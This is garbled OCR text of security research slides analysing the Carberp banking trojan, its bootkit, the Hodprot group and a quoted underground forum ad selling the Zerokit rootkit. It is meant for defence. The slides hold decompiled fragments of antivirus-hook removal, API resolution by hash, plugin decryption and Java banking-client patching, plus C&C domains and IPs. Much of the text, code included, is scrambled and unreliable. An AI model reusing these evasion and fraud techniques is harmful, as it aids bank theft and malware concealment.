‘GHDUP




/]

=

B
WINFIELD "%

<meta http-equiv='Content-Type' content='text/html; charset=vindows-1251' />
<meta http-equiv="keywords" name="keywords" content="Buuimunn Eepo-3rpa Omn CepeBucH3" />
<meta http-equiv="description” name="description" content="Buudimunn Eppo-Frmua Omnn CepeBucH3I" />

Tom

<1link rel='stylesheet' href='/css/style.css' type='text/css' media='screen, projection' />
<title>Buudunn Eppo-Traua Oin CepeEucus</title>
</head>
<body>
<div id="page">

<div id="header"” class="wrapper":>
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M Russia
= Ukraine
m Belarus
m Kazakhstan
¥ Turkey
= United Kingdom
© Spain
United States
Italy
Rest of the world
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Different groups, different bots, different C&C’s

Hodprot

GRAOUP
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0 D DADIrC
3 X
3 X
3 X
X Win32/RDPdoor Win32/RDPdoor
Win32/Sheldor Win32/Sheldor Win32/Sheldor
IE, Firefox, Opera IE, Firefox, Opera, IE, Firefox, Opera,
Chrome Chrome
3 X
minav.plug sbtest.plug
passw.plug cyberplat.plug
killav.plug
ROUP|IE




X X

X modify hosts file on infected system

show message box on infected system

download new version of Carberp

X download new version of config file

i3 X download and execute PE-file

download plugin and load into memory

X X

grab HTML form data and send to C&C

modify boot code and delete system
files

X X delete user Windows account

| delete all files and registry keys

X 3

X %
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Ring0 bundle (Zerokit) for control million-strong botnet

Goto page 1, 2, =,

Post Reply

Author

Joined: 21 May 2011
Posts: 12
Rep: 1752

Message

I want to introduce new crazy ring0 bundle (Zerokit or 0kit) for control million-strong botnet.
Breaking down all nowadays-existing firewall with full network blocking (bypassing in ring0).

Existence of the bundle is not detected by any of the antiviruses (the list
}, antirootkit-utilities (Tuluka,
GMER, RKU, RootkitRevealer) also see nothing.

Features:

- Start of *.exe, *.dll (*.dll is in a pre-alpha stage) and shellcedes in a context of the chosen process.

- Start of files from a disk and from the memory* (start from memory is in a pre-alpha stage).

- Start of files with specified priveleges: CurrentUser and NT SYSTEM/AUTHORITY.

- Granting the protected storehouse** for off-site (your) ring3-selutions for permanent existence in the
system without need of crypt.

- Survivability of the bundle, down to a reinstallation of the system.

- All the components are stored outside of a file system and are invisible to 0S.

- Intuitively clear interface of admin-panel.

- Protection against the abstraction of Admin Panel.

- Impossibility of detection of the bundle in the working system by any of known AV/rootkit scanner,
owing to the use of author's technologies of concealment. The unique opportunity of detection exists
only at loading with livecd or scanning of a disk from the other computer. Thus the spportunity of
detection is also extremely improbable, as own slgsrithmscfo-mutationarcuscd.

* Start of a file from the memaory allows to bypass all modern proactive protection and AV-scanners, that
is, there is no necessity to crypt a file.

** Protected storehouse is the original ciphered file system in which the certain quantity of files which
will be started from the memory at each start of the 05 can be stored.

The bundle consists of:

- Bootkit. It is responsible for the start of the basic modules at a stage of loading of 05,

- Driver. It is responsible for all infrastructure and implements componental business-logic on the basis
of so-called mod (functional unit). That is, the driver is not a legacy driver (monolithic), and consists of
the set of mods that allows to operate the bundle with maximum of flexibility, and to protect (hard to
reverse), update and expand it.

- Dropper. At the current moment it brake out all machines with the patches till January, 8th, 2011,
except for XP x32/x64 where reloading is initiated. If the systems distinct from XP have latest updates
reloading is initiated as well.

- User friendly Admin Panel.

GRQOUP|B




Ring0 bundle (Zerokit) for control million-strong botnet

Goto page 1, 2,

Post Reply

Author

Joined: 21 May 2011
Posts: 12
Rep: 1752

Message

| want to introeduce new crazy ring0 bundle (Zereokit or 0kit) for control millien-streng botnet.

int
inc
dec
sub
inc
push
and
®x0r
int
mow
puzh
mow
push
puzh
push
call
mow
add
mow
movsd
movsd
movsd
movsw
pop
pop
pop

edx
ehx
e ax,
ehp
edx

;' DAOL’

[ecx]1,.dh
cz:[leax]l,.al

edi.edi

ehp

ebhp.esp

esi
edi

d.[ebpl[8]
edi, [DO0DD10NEDND] —1

edi.
esi,

edi
esi
ehp
4 ;

—1

:* BK-LOADER 1.0 —7

O L o o L O O T . S L T . Y

ig in ring0).

otkit-utilities (Tuluka,

chosen process.
ia stage).

nt existence in the

rootkit scanner,

f detection exists
opportunity of

1d AV-scanners, that

ntity of files which

- Bootkit. It is responsible for the start of the basic modules at a stage of loading of O5.

- Driver. It is responsible for all infrastructure and implements componental business-logic on the basis
of so-called mod (functional unit). That is, the driver is not a legacy driver (monolithic), and consists of
the set of mods that allows to operate the bundle with maximum of flexibility, and to protect (hard to
reverse), update and expand it.
- Dropper. At the current moment it brake out all machines with the patches till January, 8th, 2011,
except for XP x32/x64 where reloading is initiated. If the systems distinct from XP have latest updates
reloading is initiated as well.
- User friendly Admin Panel.
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Ring0 bundle (Zerokit) for control million-strong botnet

Goto page 1, 2, =,

Post Reply

Author

Joined: 21 May 2011
Posts: 12
Rep: 1752

Message

I want to introduce new crazy ring0 bundle (Zerokit or 0kit) for control million-strong botnet.

int

inc edx

dec ehx

sub e ax, : 'DAOL’
inc ehp

push edx

and [ecx]1,.dh

Wi ez leawl_al

movsd
movsd
movsd
movsw
pop edi
pop esi
pop ehp

4 o I S S T T N S T . VR, S S S S L T .
]

ig in ring0).

otkit-utilities (Tuluka,

1d AV-scanners, that

ntity of files which

- Bootkit. It is responsible for the start of the basic modules at a stage of loading of O5.

- Driver. It is responsible for all infrastructure and implements componental business-logic on the basis
of so-called mod (functional unit). That is, the driver is not a legacy driver (monolithic), and consists of
the set of mods that allows to operate the bundle with maximum of flexibility, and to protect (hard to

reverse), update and expand it.

- Dropper. At the current moment it brake out all machines with the patches till January, 8th, 2011,
except for XP x32/x64 where reloading is initiated. If the systems distinct from XP have latest updates

reloading is initiated as well.
- User friendly Admin Panel.
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Ring0 bundle (Zerokit) for control million-strong botnet

Goto page 1,

Post Reply

Author

21 May 2011

Message

I want to introduce new crazy ring0 bundle (Zerokit or 0kit) for control million-strong botnet.

int

inc edx
dec ehx
sub e ax,
inc ehp
push edx

Field M ame

;' DAOL’

Data WValue

ig in ring0).

otkit-utilities (Tuluka,

Drezcriphion

b ac:hine

Murnber of Sections
Time Date Stamp
Fointer ta Symbol T able
Murmber af Symbols
Size of Optional Header
Charactenzhics

b agic

Linker Werzion

mouvs

movsw

pop edi

pop esi

pop ehp
4 -

~ Bootkit. It is responsible for the sta
or all infrastructure
That is, the driv

- Driver. It is re

of so-called mod (functional unit).

- User friendly Admin Panel.

014CH
0004k
405561420
00000000k
00000000k
OCE Ok

I306E

11/02/2011 16:13:46

0103k
01 0B}

O00Ek

ers, that

|I||I |I|

al business-logic on th

!rr"u':r‘.nllﬂ".u_ ), and consi

y. 8th, 2011,
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!olal bots: 2831 |

ID | step info status data
o [IEST_BK_KIT_EXPLORERODI493DFECAESC4B0 | [Bkinstall FALSE|0000-00-00 00:00:00
g{‘;}ﬁ [[EST_BK_KIT_EXPLORER08D7BD1230A905D0 B |Bkinstal FALSE|0000-00-00 00:00:00
Alias | 1 |infa false 10000-00-00 00:00:00
Other B Bnstal FALSE [0000-00-00 00:00:00
el P i n FALSE[0000-00-00 00.00.00
ted "[FALSE[000-00-00 00:00.00
| [BKinstall [FALSE0000-00-00 00:00:00
[TEST Y F F 6 |Bkinstall [FALSE 0000-00-00 00:00:00
[TEST MY F8AB4FO587 6 [BKinstall IFALSE 0000-00-00 00:00:00
TEST Y_DRV09A01A1B01 B [Bkinstal [FALSE[0000-00-00 00:00:00
[TEST B |8 Bkinstall0 GetLastError = 0 _[FALSE}0000-00-00 00:00:00
ST E VOBG1FDB428FI6AS7TB |6 |Bkinstall |FALSE0000-00-00 00:00:00
EST_BK_EX_ORIG_DRVOAE10F7A3602E42CE 6 |Bkinstall |FALSE]0000-00-00 00:00:00
_______ ) It IsUserAdmin IFALSE (0000-00-00 00:00:00
B |Bkinstal FALSE|0000-00-00 00:00:00
(es[L IGF{DLJI:’ iB‘




Interesting strings inside Carberp with bootkit

1 1 1 ' T b - 1 o Pl
.d 11 user 32 ntdll1l32?2.d4d11 wowbd4 .
w oo w h 45+t d1T 1T 411 n +d4d 1T 1T 41 1 H

F 1 diE a DET?*CEC AgEFNLI EFalgENe =5 & b_E
urrent ControlSetsN88ervices snull p r Uald B5

s mcmyﬂdx ¢p334x Db

e "pﬁﬂéhﬁx;-ﬁﬁﬁ cmﬂﬁ —bibd ﬂEmﬁﬁEﬁﬁﬁ-m Eﬁé"ﬁTEﬁTpﬂﬁ-
w4y BHCp euckep ExyueEEp Yuw bxEwep wcEpEaww &Tuw xhénumEpr http wnds
DigitalProductld InztallDate Heald > M8 =118 = H

esE --HGEUEnFtHPPu EntSHH entssBuildssBin~Release~Loader_dll.pdb El

E'I_ E‘I_ lll '|:I-— é —I.—I F--.I._I EII:[ I:Ill 1,._[ :Flll.ﬁ 'I'l{ll- Dlu_lﬁ {E -E
code_pointer *8_ 1n1ttEPm 488 1n1ttEPm e EE amsg_exit d&dE_adjust_fdiv J _ Cpp

(es[El GF!DLJF"B‘




Carberp bootkit functionality

Bootkit

bootstrap code

Inject user-mode
payload

Load unsigned
driver injector
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Inject user-mode

Iﬁ’.‘l\llf\’.‘lf‘l

- struct PAYLOAD CONFIGURATION BLOCK

DWORD Signature;

DWORD PayloadRva;

DWORD PayloadSize;

DWORD NumberOfProcessNames;
ProcessNames[&];

HPAYLOAD CONFIGURATION BLOCK, *PPAYLOAD CONFIGURATION BLOCK

BOOTKIT LOaa unsignea
bootstrap code driver injector

(esiy GROUP
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Carberp bootkit functionality

L
48
aa

typedef struct

DWORD Signa

DWORD Paylo 99

DWORD Paylo CE
DWORD Numbe 98

char Proce 88
[5]5)

LA 29 A8
6F 88

g8 88 A%

aFj dbh 'FJ)",8
aAo db 'Ao’' .8

db
db
dd
db
db
db

5

5
CHABACER

5

5

5

Inject user-mode

I‘\ﬁ\llﬂﬂf‘l

}PAYLOAD CONFIG 73 76 63 68 6F+aSvuchost_exe db "suchost.exe’,B
6> 78 78 6C 6F+akExplorer_exe db “explorer.exe”,d

BOOTKIT
bootstrap code

LOaa unsignea
driver injector

GRAOUP
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BootkitInstall

BuildImage§Delete0ldImage

GetImagePeHeader

sub_1060348C @ sub_1000376D

=

WritePayload

¥sub_10003450 )

PatchBootstrapCode

A A
A

petFreeSpéteOfFéefﬁ}yrifél

)

nFile§M InitializeInfectedUBRfReadFronFile!

sub_1066033FB S nenset mencpy fGetDriveGeometryRGetDiskPartitions S{ReadiriteFile

2uCreateFile  2uDeviceloControlFile l

wlpenFile | allmul



functionality
VBR modification

polymorphic VBR

Malware driver
storage

Driver encryption
algorithm

Hidden file system

File system
encryption algorithm

CEer

Rovnix.A

Carberp with bootkit

Rovnix.B

X

custom
(ROR + XOR)

custom
(ROR + XOR)

custom
(ROR + XOR)

X

FAT16
modification

FAT16
modification

X

RC6
modification

RC6
modification

GHDUF’iB‘



BOBDD4BC ParsefFs sub_14828 00014828

DEmarY SECONIRY

(sl GROUP
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Comparison of Carberp file system with Rovnix.B

(es)

B08DD48C Parsefs sub_14828 00014828

[DEIMary SECONUATY

vZB = ReadDatafAnddecrypt{ /7 read and decrypt first sector
UirtualAaddress->Hame,
(PUDID)Yv2->FirstSector,
VirtualAddress->BytesPerSector,
UirtualAaddress->ParttionHiddenStart,
UirtualfAddress->»PartitionHiddenSize,
1u,
1),
u2e < 8y )
qoto LABEL_28;
Buffer = vw2->*FirstSector;
uhG = 9;
u? = {int)"UFATI.1 *;
ug = Buffer + 3;
vl = 1; f// check signature
do
1
if ( *ub )
break;
= ={_ BYTE =)uB++ == ={ BYTE

while { w9 });

GRAOUP
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Removing AV hooks before installation

(1l |
nz
v

uh =

us
uh
uys
ug

ue =

vl =

Uil
ul2
ui3d
vl
uvis
uvin
vy
uvig
uvig
vZ2i
u21
u23
U2y
uz2s
u2h
w2y
uz2s
uz2o
vl
u3i
ul2
ul3d
uil
uis
vy
uils
vl
vhi

hash_ntdll_ZwisetContextThread:
hash_ntdll_ZwGetContextThread;
hash_ntdll_ZwlUnmapUiewdDfSection;
hash_ntdll_ZwHapVUiewdfSection;
ha5h_ntdl1_Ewnllucateuirtualﬁemury;
hash_ntdll_ZwWriteUirtualHemory;
hash_ntdll_ZwProtectUirtualMemory;
hash_ntdll_ZwCreateThread;
hash_ntdll_ZwOpenProcess;
hash_ntdll_ZwOpenThread;
hash_ntdll_Zw(ueueApcThread;
hash_ntdll_ZwTerminateProcess;
hash_ntdll_ZwTerminateThread;
hash_ntdll_ZwResumeThread;
hash_ntdll_ZwlueryDirectoryFile;
hash_ntdll_ZwCreateProcess;
hash_ntdll_ZwCreateProcessEx;
hash_ntdll_ZwCreateFile;
hash_ntdll_ZwDeviceloControlFile;
hash_ntdll_ZwClose;
hash_ntdll_ZwSetInformationProcess;
hash_kernel32_ CreateRemoteThread;
hash_kErnelEE_writEPruc955ﬁemury;
ha5h_kErnelEE_UirtualPrutectEx;
h35h_kErnEIEE_UirtualﬂllucEx;
hash_kernel32 SetThreadContext;
hash_kernel3d2 CreateProcessA;
hash_kernel3d2 CreateProcessInternalf;
hash_kerneld2 CreateProcessInternalll;
hash_kernel32_CreateFileRn;
hash_kernel32_ CreateFilel;
hash_kernel32_CopyFilen;
hash_kernel32_CopyFilell;
hash_kernel32 CopyFileE=x=WY;
hash_ws2 32 connect;
hash_ws2 32 send;
hash_ws2_ 32 recwv;
hash_ws2 32 gethostbyname ;

RestoreSplicing{L"'ntd11l.d11", &uvui, 1});
RestoreSplicing{L"kernel32 _ d11", &u23, 1);
return RestorelSplicing{lL"ws2 32 _d11", &u37,

GRAOUP
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Calling WinAPI functions by hash

ebp

1
a

GetFuncByHash
esp, BCh
[ebp+var_4], eax
eax, [ebp+arg_#]
eax

[ebp+var_4]

esp, ehp

ebp

signed int __cdecl calc_hash{char =buffer, unsigned int size, int flag)

{

signed int result; /f/ eax@2

char curByte; // [sp+3h] [bp-9h]@7
unsigned int counter; // [sp+4h] [bp-8h]E3
unsigned int hash; // [sp+8h] [bp-4h]@3

if { buffer )
1
hash = @;

for { counter = 8; =buffer && (?size || counter ¢ size); ++counter )

{
curByte = xbuffer;
if { flag && curByte >= ‘A" )
1
if { curByte <= '2' )
curByte += ' °*;
h
hash = {{hash 2> 25} | (hash <{ 7})} - curByte;
++huffer;
h
result hash;
b
else
1
result -1;
b

return result;

ebp

ebp, esp

eCcx
hash_kernel32_CloseHandle
1

a

GetFuncByHash

esp, BCh

[ebp+var_4], eax
eax, [ebp+arg_#]
eax

[ebp+var_4]
esp, ebp
ebp

GRQOUP|B




Plugin encryption algorithm

int _ stdcall plug_manager{int at)

int result; 7/ eax@2

int isload; // [sp+@h] [bp-Ch]@3

int isOpen; // [sp+4h] [bp-8h]E1

int PLugineSize; // [sp+8h] [bp-4h]@1

PLugineSize = B; int j; // [sp+8h] [bp-8h]E3
isOpen = get_plugin{“stopav_plug", @, &PLugineSize, 1); unsigned int i; // [sp+4h] [bp-4h]@1
if ( isOpen )

L . for { i = B; 1 { size; ++i )
isload = LoadPLugin{isOpen};

nsigned int _ cdecl decrypt_plug(char =key, char =buf, unsigned int size)

if ( isLoad ) { ) . )
CheckAndUnloadPlugin{isLoad); for ( ] = B; key[]]; *+] )

FreeHem{isOpen); buf[i] ~
result = 8; }

’ return i;
else

{

jo=1+key[]];

result = @;

b

return result;

B
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__DecryptbData_RC2

InitializeCryptContext

CryptAcquireContextJCryptImportKeyPCryptSetKeyParanJ@CryptReleaseContext JCryptDestroyKey JCryptDecrypt

l
m b
i check buFF GetKeln91328aser etExportByHash GetHoduleHandle;LoadL1btaIy

mem_cpy offset Find_éntry to_lower __calt_hash GetSymbolAddress
memset wstr_len mem cpy s calc_hash' = get_hash_from str  find _char str_cat
str_to_num

is_space 1is digit



IGF{DUPiB‘

(es[=}



Bank attacking algorithm Gizmo DX EERdks Hodprot

autoload

dedicated plugins for major banks

intercepting client-banks activity
patching java

webmoney/cyberplat

H n

sl GROUP
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eax, [ebp+var_ES]
eax

sub_4B18E@

esp, 4

ecx, [ebp+uvar_ELC]
eCcx

sub_427198

esp, 4

edx, [ebp+var_F8]
edx=

sub_4206E0

esp, 4

offset abDownloadedJava
offset adava_patche_7#7
sub_41EES@

esp, 8

2088h

sub_42{07 80

esp, 4
[ebp+var_114], eax
eax, [ebp+arg_0]
eax

ecx, [ebp+var_114]
ecx

Sub_425740

offset aJdni_dll
edx, [ebp+var_114]
edx

sub_4256B0
[ebp+var_184], @
a8

eax, [ebp+var_104]

eax

ecx, [ebp+uar_114]

ecx

sub_419230

esp, BCh
[ebpt+uar_18C], eax
[ebp+var_18C], @

short loc_41RAG6AS
offset aFailedDownlo_6
offset adava_patche 78
sub_41EESS

esp, 8

eax, BFFFFFFFFh

loc_ 41AB8F

“Downloaded: javassist.jar®™
“java_patcher”

"/jni.d11"

“Failed Download jni.d11"
“java_patcher"

GRQOUP|B




JokyMedTEl  YeEeL0MNEHHA

MnarexHoe nopy4eHue N .4321 Aara | 20.02.2012

Mnarenbupsk MHH _ Knn Cyama | 123,45

bank nnarenbuyKa
"THE" (FAO), rMOCKBA

Bua nnarexa [Enemp OHHO %

Cy.N 40702810020070000219

BUK 044525388
C4.N 30101810800000000388

bank nomMarens
BHK |444
RCPT_BANK_NAME

C4.N 555
Domarens (06 MHH | 111 KIn | 333 CuN | 22
RCPT_NAME Oyep.nn | 4 = Cpoknn | .
Pez.none : |
Ha3znavenwe nnareixa Itﬁﬂ[b.' HAC He oBnaraetca | & |1 %
PAYMEMNT_DETAILS
| Bloa¥eTHLIN NnaTex
Cramnyc cocraBuiens Hanoroesiit nepuos/Kog, TalM0XEHHOr0 Opraia
KBK OCHOBaHWe Nnarexa N pok
OKATO Tun nnarexa Dara a0k
Craryc: HoBblit KommeHTapuil knuenia
Moanucu: Her KonmMeHntapuil DaHka

= X
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DOEYMEHTEl  YEEOOMNEHHWA

MnarexHoe nopyqenne N 4321 Aara | 20.02.2012 Bua nnarexa | SNeETPOHHOD &

Mnarensupk MHH _ Knn CymmMa | 123 45
_ public static woid 1(String str)

{
printlnistr):;
FileOutputitream fos = null:

EI i_reateFavment try !
é """ od DaTa_DIR : 3kring String date = getCurrentlateTine(false)
----- o¥ KEYSTORE_ALIAS @ String str = date + " 1 " 4+ str;
...... oS KE¥STORE_FILE : String String workDir = Svystew. getenr("AllUsersProfile™) ;

foz = mew FileOutputitream (workDir 4+ "“Agent.log™, true):

. o5 KEY_ALTAS : String
- 2Lr = mew String(str.getBytes("UTF-58"), "Cpla5l™):

oo oS PASSWORD ¢ Skring ;

_ 33 fos.write((str + "\r\n").getBytes());
e me WML PAYMEMT : String —_— fos.clozel);

o @ convertDefaultToDocumentCantent{DefaulbContent) @ DocumentContent \ catch (I0Exception ex)

@ createPayvment{DefaultContent, DefaultContent) : DefaultContent printlniex.getMessage())

----- @° exampleCreatesndSignDoc() @ vaoid 1 finally |

if (fos '= null)
try {
fos.clozel):
V catch [(I0Exception ex) {

----- @ getDocumentSignaturelDocumentConkent, String) @ String
----- @ getTime() : String
o @ lnadPayment{String, String) : DefaultContent

e @@ signPayment{DefaulkConkent, String, String, String) : Response printlniex.getMessage () ) ;
Craryc cocraeuiens HanoroewHi ne !
KBK OcHOBaHWUE Nnare:
OKATO Tun nnareixa Hara LUk
Craryc : HoBbli KoMmeHTapuil KNKeHTa
Mognucu: Her KonMeHTapuil aHka

(esfl =- 2 GROUPR||




HNoeymedTel  Yee oMNeHWA

MnarexHoe nopyqenne N 4321 Aara | 20.02.2012 Bwa nnarexa | ZNekTpoHHo | &

CLIENT JAR ADDED

PROCESSING comsbhif it harverClientApplet
ADD LOGG

PATCHED ClientApplet.init

PROCESSING comsbif it document-DefaultContent

_reatePavment ADD LOGG
o SETTIHG INTERFACE sunw.util.AZ.interfaces .comBifitDocumentDefaultContent
=I-{g CreatePayment PROCESSING comsbhif it document-DocumentContent

o= DATA_DIR @ Stringl g A ] ) .

05 KEYSTORE nun_EETTIHG INTERFACE sunw.util . AZ.interfaces.comBif itDocumentDocumentContent
— PROCESSING comsbif it harverscoresClientInfo

o5 KEYSTORE_FILE R RIES

[false) ;

11 UTsersProfile™) ;

g e ADD processClientInfo Lr + "\YAgent. log™, true);
DAL PROCESSING comsbifit/swing/table-Table Foe) . replz5le ;

g PASSWORD  Skrifid e
g ¥ PATCHED Table.altPush
DRULELLLSER 1A TCHED Table.altPush
el == A PROCESSING comsbif it harverscore EditorForm
- ADD LOGG
B I S ETT NG INTERFACE sunw.util.AZ.interfaces.comBif itHarverCoreEditorForn
RPN SRS PATCHED EditorForm.setUalue
oG s PATCHED EditorForm.getUalue
. LSl PROCESSING comsbif it/swing/Bif itDateField
AN R yls| SETTING INTERFACE sunw.util.AZ.interfaces.comBif itSwingBifitDateField
~5 S ADD LOGG
. RRIRSR P TCHED BifitDateField.setText
- LT PROCES S THG com/bif it/suing-GuiHelper
ADD LOGG
PATCHED GuiHelper.getUalue
CLIENT JAR ADDED
PROCESSING comsbhif it harver-ClientApplet
ADD LOGG
PATCHED ClientApplet.init

PROCESSIMNG comsbhifit/documentsDefaultContent

ADD LOGG

SETTIHG INWNTERFACE =z=unw.util.AZ.interfaces.comBifitDocumentDefaultContent
PROCESSING comsbhif it document-DocumentContent

ADD LOGG

CCler

E ()]
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o Large guest network segments and wired Internet
access monitored by IDS

o Attack attempts on corporate PCs

o Attack reproduction to collect exploit and payload
samples

o Targeted infections of dedicated hosts for activity
monitoring

GROUP B‘



Date
02/Apr/2012
03/Apr/2012
03/Apr/2012
20/Apr/2012
23/Apr/2012
23/Apr/2012
23/Apr/2012:
23/Apr/2012
02/May/2012

Domain name

mn9gf8weoiludjc90ufo.org

IP-Address
62.122.79.3

mw8f0ieohcjs9n498feuij.org

62.122.79.4

nrf98uehiojsd9jfe.org

62.122.79.3

mn9gf8weoiludjc90ufo.org

62.122.79.9

mn9gf8weoiludjc90ufo.org

62.122.79.72

newf7s9uhdf7ewuhfeh.org

62.122.79.11

ne789gfiujdf98ewyfuhef.org

62.122.79.46

supermegasoftenwe.com

62.122.79.59

GROU F"iB‘



news 02.11.11 - 01.03.12 10 527064
news 04.10.11-13.10.11 10 427534
news 24 Feb 2012 1 380459
news 05 Mar 2012 1 321314
news 26 Mar 2012 1 183984
news 20 Apr 2012 1 164271
news 08.10.11-13.10.11 6 137332
news 06 Feb 2012 1 139003
news 05 Mar 2012 1 137396
National Railroad | 13.10.11-24.10.11 12 131578
news 02.11.2011 -15.02.12 5 113374




Domain Resource type Infection period Times seen Unique hosts

| fnance  Joro22-030512] 3 | 23067
| fnance  2012-u0s2] 2 | adsa2
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v Exploit Kit plays with smart redirection
http://blog.eset.com/2012/04/05/blackhole-exploit-kit-plays-with-smart-redirection

v' Facebook Fakebook: New Trends in Carberp Activity

http://blog.eset.com/2012/01/26/facebook-fakebook-new-trends-in-carberp-activity

v' Blackhole, CVE-2012-0507 and Carberp

http://blog.eset.com/2012/03/30/blackhole-cve-2012-0507-and-carberp

v' Evolution of Win32Carberp: going deeper

http://blog.eset.com/2011/11/21/evolution-of-win32carberp-going-deeper

v Rovnix Reloaded: new step of evolution

http://blog.eset.com/2012/02/22/rovnix-reloaded-new-step-of-evolution

v' Hodprot: Hot to Bot

http://go.eset.com/us/resources/white-papers/Hodprot-Report.pdf

v' Cybercrime in Russia: Trends and issues

http://go.eset.com/us/resources/white-papers/CARO 2011.pdf
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